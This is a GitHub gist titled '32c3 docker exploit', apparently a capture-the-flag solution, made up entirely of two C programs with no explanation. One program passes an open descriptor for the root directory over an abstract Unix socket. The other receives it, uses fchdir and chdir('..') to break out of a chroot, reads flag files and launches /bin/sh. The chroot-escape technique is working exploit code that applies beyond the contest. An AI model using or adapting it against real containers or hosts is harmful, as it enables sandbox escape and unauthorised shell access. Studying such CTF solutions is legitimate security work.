Skip to content

Instantly share code, notes, and snippets.

@stephenR
Created December 29, 2015 22:49
Show Gist options
  • Save stephenR/5d0987531e2b3ab3a730 to your computer and use it in GitHub Desktop.
Save stephenR/5d0987531e2b3ab3a730 to your computer and use it in GitHub Desktop.
32c3 docker exploit
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void err_quit(const char * const msg) {
puts(msg);
exit(-1);
}
void read_fd(int fd, int *recvfd)
{
struct msghdr msg;
struct iovec iov[1];
ssize_t n;
int newfd;
char buf[1024];
union {
struct cmsghdr cm;
char control[CMSG_SPACE(sizeof(int))];
} control_un;
struct cmsghdr *cmptr;
msg.msg_control = control_un.control;
msg.msg_controllen = sizeof(control_un.control);
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = buf;
iov[0].iov_len = sizeof(buf);
msg.msg_iov = iov;
msg.msg_iovlen = 1;
if ( (n = recvmsg(fd, &msg, 0)) <= 0)
err_quit("recvmsg <= 0");
if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL &&
cmptr->cmsg_len == CMSG_LEN(sizeof(int))) {
if (cmptr->cmsg_level != SOL_SOCKET)
err_quit("control level != SOL_SOCKET");
if (cmptr->cmsg_type != SCM_RIGHTS)
err_quit("control type != SCM_RIGHTS");
*recvfd = *((int *) CMSG_DATA(cmptr));
} else
*recvfd = -1;
}
int main(int argc, char *argv[]) {
struct sockaddr_un addr;
int fd;
int recvfd;
if ( (fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
perror("socket error");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path+1, "socket", sizeof(addr.sun_path)-2);
if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
perror("connect error");
exit(-1);
}
read_fd(fd, &recvfd);
printf("got socket: %d\n", recvfd);
printf("fchdir(recvfd): %d\n", fchdir(recvfd));
printf("chdir(..): %d\n", chdir(".."));
system("cat chroot/home/adam/flag");
system("cat flag");
system("/bin/sh");
return 0;
}
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
void write_fd(int fd, int sendfd)
{
struct msghdr msg;
struct iovec iov[1];
char buf[] = "A";
union {
struct cmsghdr cm;
char control[CMSG_SPACE(sizeof(int))];
} control_un;
struct cmsghdr *cmptr;
msg.msg_control = control_un.control;
msg.msg_controllen = sizeof(control_un.control);
cmptr = CMSG_FIRSTHDR(&msg);
cmptr->cmsg_len = CMSG_LEN(sizeof(int));
cmptr->cmsg_level = SOL_SOCKET;
cmptr->cmsg_type = SCM_RIGHTS;
*((int *) CMSG_DATA(cmptr)) = sendfd;
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = buf;
iov[0].iov_len = sizeof(buf);
msg.msg_iov = iov;
msg.msg_iovlen = 1;
sendmsg(fd, &msg, 0);
}
int main(int argc, char *argv[]) {
struct sockaddr_un addr;
int fd, cl;
if ( (fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
perror("socket error");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path+1, "socket", sizeof(addr.sun_path)-1);
if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
perror("bind error");
exit(-1);
}
if (listen(fd, 1) == -1) {
perror("listen error");
exit(-1);
}
if ( (cl = accept(fd, NULL, NULL)) == -1) {
perror("accept error");
exit(-1);
}
int sh_fd = open("/", O_RDONLY);
if (sh_fd < 0) {
perror("open (/)");
exit(-1);
}
write_fd(cl, sh_fd);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment